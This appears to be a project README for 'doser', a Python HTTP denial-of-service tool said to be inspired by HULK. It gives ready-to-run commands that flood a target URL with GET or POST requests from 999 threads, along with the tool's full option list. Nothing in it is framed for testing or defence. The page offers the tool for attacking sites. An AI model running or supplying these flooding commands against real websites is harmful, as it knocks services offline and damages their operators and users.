doser.go icon indicating copy to clipboard operation
doser.go copied to clipboard

DoS tool for HTTP requests (inspired by hulk but has more functionalities)

doser.py

DoS tool for HTTP requests (inspired by hulk but has more functionalities) written in Python:

Examples

999 threads sends GET requests:

python doser.py -t 999 -g 'https://targeted.site.com'

999 threads sends POST requests with json data:

python doser.py -t 999 -p 'https://targeted.site.com' -ah 'Content-Type: application/json' -d '{"json": "payload"}'

Usage

usage: doser.py [-h] [-g G] [-p P] [-d D] [-ah AH] [-t T]

optional arguments:

-h, --help show this help message and exit

-g Specify GET request. Usage: -g '< url >'

-p Specify POST request. Usage: -p '< url >'

-d Specify data payload for POST request

-ah Specify addtional header

-t Specify number of threads to be used

TODO:

Rewrite to Golang :)